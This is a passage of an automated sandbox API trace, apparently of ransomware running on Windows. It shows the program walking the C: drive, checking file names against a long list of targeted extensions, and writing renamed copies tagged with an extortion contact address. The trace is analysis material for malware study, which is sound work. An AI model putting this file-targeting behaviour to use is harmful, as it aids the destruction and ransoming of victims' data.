lpString2=".dll") returned -1 [0155.700] lstrlenW (lpString=".7z") returned 3 [0155.700] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0155.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0155.700] lstrlenW (lpString=".dbf") returned 4 [0155.700] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0155.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0155.700] lstrlenW (lpString=".1cd") returned 4 [0155.700] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0155.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0155.700] lstrlenW (lpString=".jpg") returned 4 [0155.700] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0155.701] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.701] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0155.702] GetLastError () returned 0x0 [0155.702] ReadFile (in: hFile=0x10d8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0155.729] WriteFile (in: hFile=0x108c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0155.730] ReadFile (in: hFile=0x10d8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.730] WriteFile (in: hFile=0x108c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x116, lpOverlapped=0x0) returned 1 [0155.730] SetEndOfFile (hFile=0x108c) returned 1 [0155.731] CloseHandle (hObject=0x108c) Thread: id = 855 os_tid = 0x1c0c [0128.634] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x35f0070 [0128.634] lstrlenW (lpString="C:") returned 2 [0128.634] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2e4fcf8 | out: lpFindFileData=0x2e4fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x5bae78 [0128.635] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0128.635] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0128.635] lstrlenW (lpString="$GetCurrent") returned 11 [0128.635] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0128.635] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x3600078 [0128.635] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0128.635] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5baeb8 [0128.660] FindNextFileW (in: hFindFile=0x5baeb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0128.661] FindNextFileW (in: hFindFile=0x5baeb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0128.661] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0128.661] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0128.661] lstrlenW (lpString="Logs") returned 4 [0128.661] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0128.661] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x3d20058 [0128.661] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0128.661] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5bacb8 [0128.779] FindNextFileW (in: hFindFile=0x5bacb8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.796] FindNextFileW (in: hFindFile=0x5bacb8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0128.796] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0128.796] lstrlenW (lpString=".1cd") returned 4 [0128.796] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0128.796] lstrlenW (lpString=".3ds") returned 4 [0128.796] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0128.796] lstrlenW (lpString=".3fr") returned 4 [0128.796] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0128.796] lstrlenW (lpString=".3g2") returned 4 [0128.796] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0128.796] lstrlenW (lpString=".3gp") returned 4 [0128.796] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0128.796] lstrlenW (lpString=".7z") returned 3 [0128.796] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0128.796] lstrlenW (lpString=".accda") returned 6 [0128.796] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0128.796] lstrlenW (lpString=".accdb") returned 6 [0128.796] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0128.796] lstrlenW (lpString=".accdc") returned 6 [0128.796] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0128.796] lstrlenW (lpString=".accde") returned 6 [0128.796] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0128.796] lstrlenW (lpString=".accdt") returned 6 [0128.796] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0128.797] lstrlenW (lpString=".accdw") returned 6 [0128.797] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0128.797] lstrlenW (lpString=".adb") returned 4 [0128.797] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0128.797] lstrlenW (lpString=".adp") returned 4 [0128.797] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0128.797] lstrlenW (lpString=".ai") returned 3 [0128.797] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0128.797] lstrlenW (lpString=".ai3") returned 4 [0128.797] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0128.797] lstrlenW (lpString=".ai4") returned 4 [0128.797] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0128.797] lstrlenW (lpString=".ai5") returned 4 [0128.797] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0128.797] lstrlenW (lpString=".ai6") returned 4 [0128.797] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0128.797] lstrlenW (lpString=".ai7") returned 4 [0128.797] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0128.797] lstrlenW (lpString=".ai8") returned 4 [0128.797] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0128.797] lstrlenW (lpString=".anim") returned 5 [0128.797] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0128.797] lstrlenW (lpString=".arw") returned 4 [0128.797] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0128.797] lstrlenW (lpString=".as") returned 3 [0128.797] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0128.797] lstrlenW (lpString=".asa") returned 4 [0128.797] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0128.797] lstrlenW (lpString=".asc") returned 4 [0128.797] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0128.797] lstrlenW (lpString=".ascx") returned 5 [0128.797] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0128.798] lstrlenW (lpString=".asm") returned 4 [0128.798] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0128.798] lstrlenW (lpString=".asmx") returned 5 [0128.798] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0128.798] lstrlenW (lpString=".asp") returned 4 [0128.798] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0128.798] lstrlenW (lpString=".aspx") returned 5 [0128.798] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0128.798] lstrlenW (lpString=".asr") returned 4 [0128.798] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0128.798] lstrlenW (lpString=".asx") returned 4 [0128.798] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0128.798] lstrlenW (lpString=".avi") returned 4 [0128.798] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0128.798] lstrlenW (lpString=".avs") returned 4 [0128.798] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0128.798] lstrlenW (lpString=".backup") returned 7 [0128.798] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0128.798] lstrlenW (lpString=".bak") returned 4 [0128.798] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0128.798] lstrlenW (lpString=".bay") returned 4 [0128.798] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0128.798] lstrlenW (lpString=".bd") returned 3 [0128.798] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0128.798] lstrlenW (lpString=".bin") returned 4 [0128.798] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0128.798] lstrlenW (lpString=".bmp") returned 4 [0128.798] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0128.798] lstrlenW (lpString=".bz2") returned 4 [0128.798] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0128.799] lstrlenW (lpString=".c") returned 2 [0128.799] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0128.799] lstrlenW (lpString=".cdr") returned 4 [0128.799] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0128.799] lstrlenW (lpString=".cer") returned 4 [0128.799] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0128.799] lstrlenW (lpString=".cf") returned 3 [0128.799] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0128.799] lstrlenW (lpString=".cfc") returned 4 [0128.799] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0128.799] lstrlenW (lpString=".cfm") returned 4 [0128.799] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0128.799] lstrlenW (lpString=".cfml") returned 5 [0128.799] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0128.799] lstrlenW (lpString=".cfu") returned 4 [0128.799] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0128.799] lstrlenW (lpString=".chm") returned 4 [0128.799] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0128.799] lstrlenW (lpString=".cin") returned 4 [0128.799] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0128.799] lstrlenW (lpString=".class") returned 6 [0128.799] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0128.799] lstrlenW (lpString=".clx") returned 4 [0128.799] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0128.799] lstrlenW (lpString=".config") returned 7 [0128.799] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1 [0128.799] lstrlenW (lpString=".cpp") returned 4 [0128.799] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0128.799] lstrlenW (lpString=".cr2") returned 4 [0128.799] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0128.799] lstrlenW (lpString=".crt") returned 4 [0128.800] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0128.800] lstrlenW (lpString=".crw") returned 4 [0128.800] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0128.800] lstrlenW (lpString=".cs") returned 3 [0128.800] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0128.800] lstrlenW (lpString=".css") returned 4 [0128.800] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0128.800] lstrlenW (lpString=".csv") returned 4 [0128.800] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0128.800] lstrlenW (lpString=".cub") returned 4 [0128.800] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0128.800] lstrlenW (lpString=".dae") returned 4 [0128.800] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0128.800] lstrlenW (lpString=".dat") returned 4 [0128.800] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0128.800] lstrlenW (lpString=".db") returned 3 [0128.800] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0128.800] lstrlenW (lpString=".dbf") returned 4 [0128.800] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0128.800] lstrlenW (lpString=".dbx") returned 4 [0128.800] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0128.800] lstrlenW (lpString=".dc3") returned 4 [0128.800] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0128.800] lstrlenW (lpString=".dcm") returned 4 [0128.800] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0128.800] lstrlenW (lpString=".dcr") returned 4 [0128.800] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0128.800] lstrlenW (lpString=".der") returned 4 [0128.800] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0128.800] lstrlenW (lpString=".dib") returned 4 [0128.800] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0128.801] lstrlenW (lpString=".dic") returned 4 [0128.801] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0128.801] lstrlenW (lpString=".dif") returned 4 [0128.801] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0128.801] lstrlenW (lpString=".divx") returned 5 [0128.801] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0128.801] lstrlenW (lpString=".djvu") returned 5 [0128.801] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0128.801] lstrlenW (lpString=".dng") returned 4 [0128.801] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0128.801] lstrlenW (lpString=".doc") returned 4 [0128.801] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0128.801] lstrlenW (lpString=".docm") returned 5 [0128.801] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0128.801] lstrlenW (lpString=".docx") returned 5 [0128.801] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0128.801] lstrlenW (lpString=".dot") returned 4 [0128.801] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0128.801] lstrlenW (lpString=".dotm") returned 5 [0128.801] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0128.801] lstrlenW (lpString=".dotx") returned 5 [0128.801] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0128.801] lstrlenW (lpString=".dpx") returned 4 [0128.801] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0128.801] lstrlenW (lpString=".dqy") returned 4 [0128.801] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0128.801] lstrlenW (lpString=".dsn") returned 4 [0128.801] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0128.801] lstrlenW (lpString=".dt") returned 3 [0128.801] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0128.801] lstrlenW (lpString=".dtd") returned 4 [0128.802] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0128.802] lstrlenW (lpString=".dwg") returned 4 [0128.802] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0128.802] lstrlenW (lpString=".dwt") returned 4 [0128.802] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0128.802] lstrlenW (lpString=".dx") returned 3 [0128.802] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0128.802] lstrlenW (lpString=".dxf") returned 4 [0128.802] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0128.802] lstrlenW (lpString=".edml") returned 5 [0128.802] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0128.802] lstrlenW (lpString=".efd") returned 4 [0128.802] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0128.802] lstrlenW (lpString=".elf") returned 4 [0128.802] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0128.802] lstrlenW (lpString=".emf") returned 4 [0128.802] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0128.802] lstrlenW (lpString=".emz") returned 4 [0128.802] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0128.802] lstrlenW (lpString=".epf") returned 4 [0128.802] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0128.802] lstrlenW (lpString=".eps") returned 4 [0128.802] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0128.802] lstrlenW (lpString=".epsf") returned 5 [0128.802] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0128.802] lstrlenW (lpString=".epsp") returned 5 [0128.802] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0128.802] lstrlenW (lpString=".erf") returned 4 [0128.802] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0128.802] lstrlenW (lpString=".exr") returned 4 [0128.802] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0128.802] lstrlenW (lpString=".f4v") returned 4 [0128.803] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0128.803] lstrlenW (lpString=".fido") returned 5 [0128.803] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0128.803] lstrlenW (lpString=".flm") returned 4 [0128.803] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0128.803] lstrlenW (lpString=".flv") returned 4 [0128.803] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0128.803] lstrlenW (lpString=".frm") returned 4 [0128.803] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0128.803] lstrlenW (lpString=".fxg") returned 4 [0128.803] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0128.803] lstrlenW (lpString=".geo") returned 4 [0128.803] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0128.803] lstrlenW (lpString=".gif") returned 4 [0128.803] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0128.803] lstrlenW (lpString=".grs") returned 4 [0128.803] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0128.803] lstrlenW (lpString=".gz") returned 3 [0128.803] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0128.803] lstrlenW (lpString=".h") returned 2 [0128.803] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0128.803] lstrlenW (lpString=".hdr") returned 4 [0128.803] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0128.803] lstrlenW (lpString=".hpp") returned 4 [0128.803] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0128.803] lstrlenW (lpString=".hta") returned 4 [0128.803] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0128.803] lstrlenW (lpString=".htc") returned 4 [0128.803] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0128.803] lstrlenW (lpString=".htm") returned 4 [0128.803] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0128.804] lstrlenW (lpString=".html") returned 5 [0128.804] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0128.804] lstrlenW (lpString=".icb") returned 4 [0128.804] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0128.804] lstrlenW (lpString=".ics") returned 4 [0128.804] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0128.804] lstrlenW (lpString=".iff") returned 4 [0128.804] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0128.804] lstrlenW (lpString=".inc") returned 4 [0128.804] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0128.804] lstrlenW (lpString=".indd") returned 5 [0128.804] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0128.804] lstrlenW (lpString=".ini") returned 4 [0128.804] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0128.804] lstrlenW (lpString=".iqy") returned 4 [0128.804] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0128.804] lstrlenW (lpString=".j2c") returned 4 [0128.804] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0128.804] lstrlenW (lpString=".j2k") returned 4 [0128.804] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0128.804] lstrlenW (lpString=".java") returned 5 [0128.804] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0128.804] lstrlenW (lpString=".jp2") returned 4 [0128.804] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0128.804] lstrlenW (lpString=".jpc") returned 4 [0128.804] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0128.804] lstrlenW (lpString=".jpe") returned 4 [0128.804] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0128.805] lstrlenW (lpString=".jpeg") returned 5 [0128.805] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0128.805] lstrlenW (lpString=".jpf") returned 4 [0128.805] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0128.805] lstrlenW (lpString=".jpg") returned 4 [0128.805] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0128.805] lstrlenW (lpString=".jpx") returned 4 [0128.805] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0128.805] lstrlenW (lpString=".js") returned 3 [0128.805] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0128.805] lstrlenW (lpString=".jsf") returned 4 [0128.805] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0128.805] lstrlenW (lpString=".json") returned 5 [0128.805] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0128.805] lstrlenW (lpString=".jsp") returned 4 [0128.805] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0128.805] lstrlenW (lpString=".kdc") returned 4 [0128.805] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0128.805] lstrlenW (lpString=".kmz") returned 4 [0128.805] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0128.805] lstrlenW (lpString=".kwm") returned 4 [0128.805] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0128.805] lstrlenW (lpString=".lasso") returned 6 [0128.805] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0128.805] lstrlenW (lpString=".lbi") returned 4 [0128.805] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0128.805] lstrlenW (lpString=".lgf") returned 4 [0128.805] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0128.805] lstrlenW (lpString=".lgp") returned 4 [0128.805] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0128.805] lstrlenW (lpString=".log") returned 4 [0128.806] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0128.806] FindNextFileW (in: hFindFile=0x5bacb8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0128.806] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0128.806] lstrlenW (lpString=".1cd") returned 4 [0128.806] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0128.806] lstrlenW (lpString=".3ds") returned 4 [0128.806] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0128.806] lstrlenW (lpString=".3fr") returned 4 [0128.806] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0128.806] lstrlenW (lpString=".3g2") returned 4 [0128.806] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0128.806] lstrlenW (lpString=".3gp") returned 4 [0128.806] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0128.806] lstrlenW (lpString=".7z") returned 3 [0128.806] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0128.806] lstrlenW (lpString=".accda") returned 6 [0128.806] lstrcmpiW (lpString1=".accda", 